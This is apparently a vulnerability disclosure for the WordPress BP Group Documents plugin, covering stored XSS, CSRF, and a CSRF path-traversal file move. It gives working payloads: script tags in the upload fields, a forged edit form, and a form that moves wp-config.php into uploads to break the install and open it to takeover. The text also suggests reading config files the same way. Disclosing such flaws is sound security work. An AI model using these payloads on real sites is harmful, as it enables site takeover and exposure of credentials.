WordPress BP Group Documents多个漏洞

                                                Stored XSS
================
Go to the upload form, select a document to upload, set the “Display name” to “photograph of a cute puppy<script>alert(‘xss’)</script>” and set the “Description” to “this is an innocuous description<script>alert(‘xss again’)</script>”.

CSRF
================
Assume we have a group with slug “x” and a group document with id 8:
<form method="POST" action="https://wp.ayumu/groups/x/documents/">
<input type="text" name="bp_group_documents_operation" value="edit">
<input type="text" name="bp_group_documents_id" value="8">
<input type="text" name="bp_group_documents_name" 
value="<script>alert(1)</script>">
<input type="text" name="bp_group_documents_description" value="abc">
<input type="submit">
</form>


File Move
================
As a logged in admin, visit a page containing this form and submit it (or add auto-submission, and cause a logged in admin to visit it):
<form method="POST" 
action="http://localhost/wp-admin/options-general.php?page=bp-group-documents-settings">
<input name="group" value="1">
<input name="file" value="../../../../wp-config.php">
<input type="submit">
</form>
This will cause the wp-config.php file to be moved to a location within wp-content/uploads. In my case it was wp-content/uploads/group-documents/1/1380203685-……..wp-config.php. In this example I broke a WordPress installation, leaving the site wide open to another person to come in and do the “famous five minute install”. There may also be handy config files laying around that you could read by moving them to the web root.